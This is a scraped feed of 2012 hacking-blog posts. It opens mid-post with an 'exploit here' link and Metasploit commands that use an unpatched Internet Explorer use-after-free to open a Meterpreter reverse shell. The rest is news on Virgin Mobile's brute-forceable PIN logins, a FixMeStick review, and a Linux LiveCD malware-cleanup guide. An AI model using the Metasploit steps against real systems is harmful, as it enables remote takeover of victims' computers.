Sep 14 2012, and there is currently no official patch for it</i>." <a href="http://pastebin.com/nyYxKfUJ" rel="follow" style="resize: both ! important;">Get Exploit Here</a>,<br /><br /><br /><div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">Usage :</b></div>
<pre style="background-color: white; border: 1px solid rgb(221, 221, 221); color: #333333; font-family: 'Courier New',Courier,'Lucida Console',Monaco,'DejaVu Sans Mono','Nimbus Mono L','Bitstream Vera Sans Mono',monospace; font-size: 12px; margin-bottom: 0.75em; margin-top: 0.25em; overflow: auto; padding: 10px; resize: both ! important; text-align: start; white-space: pre-wrap;">use exploit/windows/browser/ie_execcommand_uaf
set SRVHOST 192.168.178.33
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.33
exploit
sysinfo
getuid</pre>
</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-44487279183976207972012-09-21T03:43:00.003-07:002012-09-21T03:43:26.105-07:006 Million Virgin Mobile users vulnerable to Hackers..!!!<br />
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em; resize: both ! important; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNQLor4PzOSlgAqJZt3GAfJvj65O4XNd-wKgKjNT_AEkkPYU3Qrpu8zz9wvw_piIngWofxNVu6A_SANz-ExhV5LwOELx9q5ccJH6JhB5Cui5P308CfYLgJB_K86oIWwIOJ4bOCJ5-X-wk/s1600/6+Million+Virgin+Mobile+users+vulnerable+to+Hackers.jpg" imageanchor="1"> <img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNQLor4PzOSlgAqJZt3GAfJvj65O4XNd-wKgKjNT_AEkkPYU3Qrpu8zz9wvw_piIngWofxNVu6A_SANz-ExhV5LwOELx9q5ccJH6JhB5Cui5P308CfYLgJB_K86oIWwIOJ4bOCJ5-X-wk/s1600/6+Million+Virgin+Mobile+users+vulnerable+to+Hackers.jpg" style="resize: both ! important;" title="" /></a><br />Virgin
Mobile customers beware: Your phone number is the key to your personal
information. According to independent developer Kevin Burke, who warned
Virgin Mobile USA customers about a glaring security hole in the phone
company's account login protocol said, "<b style="resize: both ! important;"><i style="resize: both ! important;">If you are one of the six million Virgin subscribers, you are at the whim of anyone who doesn’t like you.</i></b>"</div>
<br />
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
Virgin
Mobile USA users manage their account by logging in through an online
portal, which requires a mobile number and a 6-digit pin. Once inside,
customers can check their call records, change the handset associated
with their number, and update their personal details.</div>
<div style="float: left; padding-right: 10px; resize: both ! important; text-align: justify;">
</div>
<div style="text-align: justify;">
<br style="resize: both ! important;" /></div>
<div style="resize: both ! important; text-align: justify;">
In a <a href="http://kev.inburke.com/kevin/open-season-on-virgin-mobile-customer-data/" rel="follow" style="resize: both ! important;">blog post</a>
on Monday, Kevin Burke detailed how the username and password system
used by Virgin Mobile to let users access their account information, is
inherently weak and open to abuse.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
"<b style="resize: both ! important;"><i style="resize: both ! important;">It
is trivial to write a program that checks all million possible password
combinations, easily determining anyone's PIN inside of one day</i></b>," Burke said in a blog post. "<b style="resize: both ! important;"><i style="resize: both ! important;">I verified this by writing a script to 'brute force' the PIN number of my own account.</i></b>"
For comparison, an 8-letter password with uppercase letters, lowercase
letters, and digits has 218,340,105,584,896 possible combinations, Burke
said.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
Burke
said that after several phone and email exchanges with parent company
Sprint in which he attempted to warn them about the exploit, he was
ignored and his concern was dismissed. That's when he decided to expose
the flaw to the public.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="text-align: justify;">
The
Sprint spokeswoman said that the company maintains confidentiality
about its security measures, but noted that customer accounts are
monitored constantly for possible illegal or inappropriate activity.<br style="resize: both ! important;" /><br style="resize: both ! important;" />
"<b style="resize: both ! important;"><i style="resize: both ! important;">We greatly appreciate Mr. Burke's outreach to the company and are reaching out to him as well</i></b>," she said. "<b style="resize: both ! important;"><i style="resize: both ! important;">His inquiry did enable us to even further secure our customers' accounts.</i></b>"<br style="resize: both ! important;" /><br style="resize: both ! important;" />
Virgin Mobile USA's Manage My Account portal is down as of Wednesday,
September 19, 3:34 p.m. AEST (Tuesday, September 18, 11:34 p.m. PT).
Virgin Mobile Australia also uses a 6-digit PIN system for customers to
access their account online. It stressed that while both companies
operate under the Virgin Brand, Virgin Mobile Australia is a completely
separate entity to Virgin Mobile USA.Virgin Mobile Australia claimed
that its customers are not affected by the security flaw in question.</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-24421601114339558232012-09-21T03:39:00.000-07:002012-09-21T03:39:18.720-07:00The FixMeStick : My Parents Need This<div style="text-align: justify;">
</div>
<div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;">
<img alt="fixmestick" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFcArhnMeLHt396SF738uPN6F99NfLarEwvROao4j6LbIhLByHmtysAVILvxZOJdlcx_kdBqK5af3XOzraA6_HbnoNBo-u_AWev6gGYk7w0JhHdWY35HL3pOm2a8jENGElHAQODq-wrO-z/s400/fixmestick.jpeg" style="resize: both ! important;" title="fixmestick" width="233" />The founders over at <b style="resize: both ! important;">FixMeStick</b> sent us a pair of their latest devices to check out. The FixMeStick is, in short, <a href="http://www.fixmestick.com/" rel="follow" style="resize: both ! important;"><span id="goog_859087833" style="resize: both ! important;"></span>a malware removal device for dummies<span id="goog_859087834" style="resize: both ! important;"></span></a>.
The FixMeStick is a bootable USB device running Lubuntu and integrates
three separate anti-virus scanners from Kaspersky Labs, Sophos, and GFI.
While our readers will probably never need it for themselves, we may
all wish we had something like this for our non-technical friends and
family, or the <a href="http://thehackernews.com/2012/09/9-million-pcs-infected-with-zeroaccess.html" style="resize: both ! important;">9 million PCs infected with ZeroAccess botnet</a>. The FixMeStick does a lot of things that nobody else does on a bootable USB, and let’s be real, <a href="http://thehackernews.com/2012/09/9-million-pcs-infected-with-zeroaccess.html" style="resize: both ! important;">removing rootkits</a> is never pleasant or easy.</div>
<br />
<div style="text-align: justify;">
<br /></div>
<div style="resize: both ! important; text-align: justify;">
<br /><br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">Why I Want it For My Parents</b></div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">Linux:</b>
the FixMeStick is a Linux-based device that runs before Windows boots
enabling it to remove infections without the infection getting stealthy
or playing war with my parent’s anti-virus software.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
N-Scanner architecture: contains an integrated multi-scanner composed of three engines: Kaspersky Labs, Sophos, and GFI’s VIPRE.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">Full screen app:</b>
all the technology is integrated behind a single full-screen
application, my parents never see Linux, or any of the three anti-virus
engines. Typical Linux shortcut keys still work, but there’s no risk of
my mother wandering off into vi.</div>
<div style="float: left; padding-right: 10px; resize: both ! important; text-align: justify;">
</div>
<div style="text-align: justify;">
<br style="resize: both ! important;" /></div>
<div style="resize: both ! important; text-align: justify;">
It’s the
easiest thing to use: right out of the box my parents just plug it into a
USB port and double-click "Run FixMeStick". There’s no software to
install. The FixMeStick does this clever little hack with the Windows
boot manager getting Windows to boot the FixMeStick one time. This means
my parents don’t have to futz with the BIOS, but you still can if you
want to.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">WiFi: </b>supports
wireless adapters and automatically finds my parents SSID and password
from the Windows side and sets up the connection. My parents do nothing.
I get no phone call from them. Automatic updates are fetched and stored
directly on the FixMeStick.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
It
boots on everything: the boot-loader is setup such that it can support
different boot configurations without my parents having to do anything.
BIOS compatibility has been a killer to Live USBs, but we’ve not found a
PC the FixMeStick will not boot on, including the fancy VAIOs that ship
with a Boot From External Device setting off by default.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
Out-of-band-management:
this is quite cool, there’s a remote connection client built into the
FixMeStick, so if my parents need support, the FixMeStick engineers can
connect directly to the device without my parents having to do anything
other than provide the randomly generated userid and password generated
by the app.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">What’s Not Good:</b></div>
<div style="resize: both ! important; text-align: justify;">
Out-of-band-management!
A bad actor could call my parents and tell them to plug in the
FixMeStick and get the userid\password. Of course, such a social
engineering attack is possible whether there’s a FixMeStick in the house
or not.</div>
<div style="resize: both ! important; text-align: justify;">
<br style="resize: both ! important;" />
</div>
<div style="resize: both ! important; text-align: justify;">
Denial
of Service: Malware can deny access to the FixMeStick by smoking the
MBR or the Linux files. There are a few ways to fix this, and you
probably know what they are, and we expect to see one implemented in the
next major version of the FixMeStick.</div>
<div style="text-align: justify;">
<br /></div>
<div style="resize: both ! important; text-align: justify;">
<b style="resize: both ! important;">Other, back of the box type information:</b></div>
<ul style="resize: both ! important; text-align: justify;">
<li style="resize: both ! important;">$49.99, with free shipping to anywhere in the world.</li>
<li style="resize: both ! important;">Toll free support with the real security people.</li>
<li style="resize: both ! important;">Works an unlimited number of times
on up to 3 different PCs for a year. The PC count is reset each
calendar month so people don’t have to worry about adding\retiring PCs.</li>
<li style="resize: both ! important;">When the year is up, recharges can be purchased from <a href="http://www.fixmestick.com/" rel="follow" style="resize: both ! important;">www.FixMeStick.com</a>.</li>
<li style="resize: both ! important;">The Windows launcher works on Windows XP, Vista, 7, and 8.</li>
<li style="resize: both ! important;">A minimum of 512MB RAM on the host PC.</li>
</ul>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-11841515291547904262012-09-18T05:19:00.001-07:002012-09-18T05:19:16.147-07:00Fix a Windows Infection Using Linux - LiveCDs<h3 class="post-title entry-title" style="resize: both ! important; text-align: justify;">
</h3>
<div class="postmeta" style="resize: both ! important; text-align: justify;">
<span style="font-family: inherit; font-size: small;"> <span class="author" style="resize: both ! important;"><a class="updated" href="http://thehackernews.com/2010/10/fix-windows-infection-using-linux.html" rel="bookmark" style="resize: both ! important;" title="permanent link"><abbr class="updated" style="resize: both ! important;" title="2010-10-29T21:06:00-10:00"></abbr></a></span>
</span></div>
<div style="resize: both ! important; text-align: justify;">
</div>
<div style="float: left; padding-right: 10px; resize: both ! important; text-align: justify;">
</div>
<div id="aim27704245261022687493" style="resize: both ! important; text-align: justify;">
<div id="first_paragraph" style="resize: both ! important;">
<span style="font-family: inherit; font-size: small;">If you use
Linux on your company's desktop or server computers, you're already
familiar with many of the security advantages the open source operating
system offers over its Windows and Mac rivals. What many people don't
realize, however, is that Linux can also be used to rescue a computer
that has been crippled by malware.</span></div>
<div id="first_paragraph" style="resize: both ! important;">
<span style="font-family: inherit; font-size: small;"><img alt="340x_usbuntu" src="http://cache.gawkerassets.com/assets/images/17/2010/03/340x_usbuntu.jpg" style="resize: both ! important;" title="340x_usbuntu" /></span></div>
<span style="font-family: inherit; font-size: small;">Malware
is a frequent occurrence in the Windows world, in particular, and it
can be devastating. When a Windows virus strikes, not only can it
become difficult or even impossible to continue using the affected
machine, but it can be dangerous as well, since prolonged use can
further the infection.<br style="resize: both ! important;" />
That's where Linux can be a life-saver. Without ever having to install
the free alternative, you can still use it temporarily on a PC to get
rid of any infection. Here's how.<br style="resize: both ! important;" />
1. Get a LiveCD or Live USB<br style="resize: both ! important;" />
LiveCDs and USBs are a wonderful thing in the Linux world because they
let you boot a machine directly from the CD or USB stick without ever
having to access the computer's boot records. Not only are they a great
way to <a href="http://www.pcworld.com/businesscenter/article/205640/4_ways_to_give_desktop_linux_a_testdrive.html" rel="follow" style="resize: both ! important;">take Linux for a test-drive</a>, but they can also be put to work when Windows can't.<br style="resize: both ! important;" />
By far the fastest way to get a LiveCD or USB is to download the .iso
file of the Linux distribution you'd like to use and then burn it onto a
CD or USB stick. Since Ubuntu is the most popular distribution out
there, I'll go with <a href="http://www.pcworld.com/businesscenter/article/207283/12_reasons_to_try_ubuntu_1010_now.html" rel="follow" style="resize: both ! important;">Maverick Meerkat</a>--the latest version of the software--for this example.<br style="resize: both ! important;" />
Ubuntu can be downloaded from the project's <a href="http://www.ubuntu.com/desktop/get-ubuntu/download" rel="follow" style="resize: both ! important;">Website</a> for use on a LiveCD or USB; download links for other distributions can be found listed on <a href="http://www.livecdlist.com/purpose/desktop" rel="follow" style="resize: both ! important;">FrozenTech</a>. <a href="http://unetbootin.sourceforge.net/" rel="follow" style="resize: both ! important;">UNetbootin</a> is another nice option if you want to go the USB route, which tends to run much faster.<br style="resize: both ! important;" />
Of course, to take either of these options you'll have to have a
working, Internet-connected computer. If you don't, or if your Internet
connection is slow, you may want to order a LiveCD or USB via snail
mail. <a href="http://www.osdisc.com/cgi-bin/view.cgi/index.html?ad=distrowatch" rel="follow" style="resize: both ! important;">OSDisc</a> and <a href="http://www.linuxcd.org/" rel="follow" style="resize: both ! important;">LinuxCD</a> both offer a variety of options; pricing is about $2.<br style="resize: both ! important;" />
2. Boot into Linux<br style="resize: both ! important;" />
Once you're equipped with a Linux LiveCD or USB, you'll need to make
sure the infected computer is turned off, and then turn it on again
with the CD or USB installed. This will boot the computer into Linux,
completely bypassing Windows and its infection. Again, nothing has been
installed -- you're simply using Linux to get the machine running
reliably again.<br style="resize: both ! important;" />
3. Get Antivirus Software<br style="resize: both ! important;" />
Next it's time to get the Linux-based ammunition you'll need to wipe
out the malware: antivirus software. I'm going to use ClamAV, my
favorite, via ClamTK, which provides a nice graphical front end.<br style="resize: both ! important;" />
From the main Ubuntu desktop, then, go to "Applications" and then
"Ubuntu Software Center." Choose "Edit" and then "Software Sources."
You'll be presented with a box entitled, "Downloadable from the
Internet," and you should be sure all four boxes are checked before you
click on "Close."<br style="resize: both ! important;" /><br style="resize: both ! important;" />
Next, from the main Ubuntu Software Center page, click on the
"Accessories" icon and type ClamTK into the search box. It will be
shown as "Virus Scanner," but if you click on "More Info" you can
verify it's the right package. Click "Install" and wait for it to
download.</span><span style="font-family: inherit; font-size: small;">
<br style="resize: both ! important;" />
Once installation is finished, you should launch ClamTK by going to
"Applications" in Ubuntu's main menu, then "Accessories" and "Virus
Scanner," which is how the software will still be shown.<br style="resize: both ! important;" />
4. Run a Scan<br style="resize: both ! important;" />
When the ClamTK window opens, click on the "Scan" tab and select the
option for a Recursive Scan. Next, you'll need to tell the software
which drive you want to check for viruses, which in this case is the
one that includes Windows. Scanning may take some time, but once the
infection is found you'll get the usual options for what to do with it,
including quarantine and removal.<br style="resize: both ! important;" />
5. Return to Normal<br style="resize: both ! important;" />
Assuming the infection has now been removed, your computer should be
clean once again, making it safe to remove the LiveCD or USB and boot
back into Windows as usual. As you enjoy your malware-free machine once
again, remember that it's all thanks to Linux. It's also not a bad
idea to keep your LiveCD or USB handy so you'll be ready for the next
time.
</span></div>
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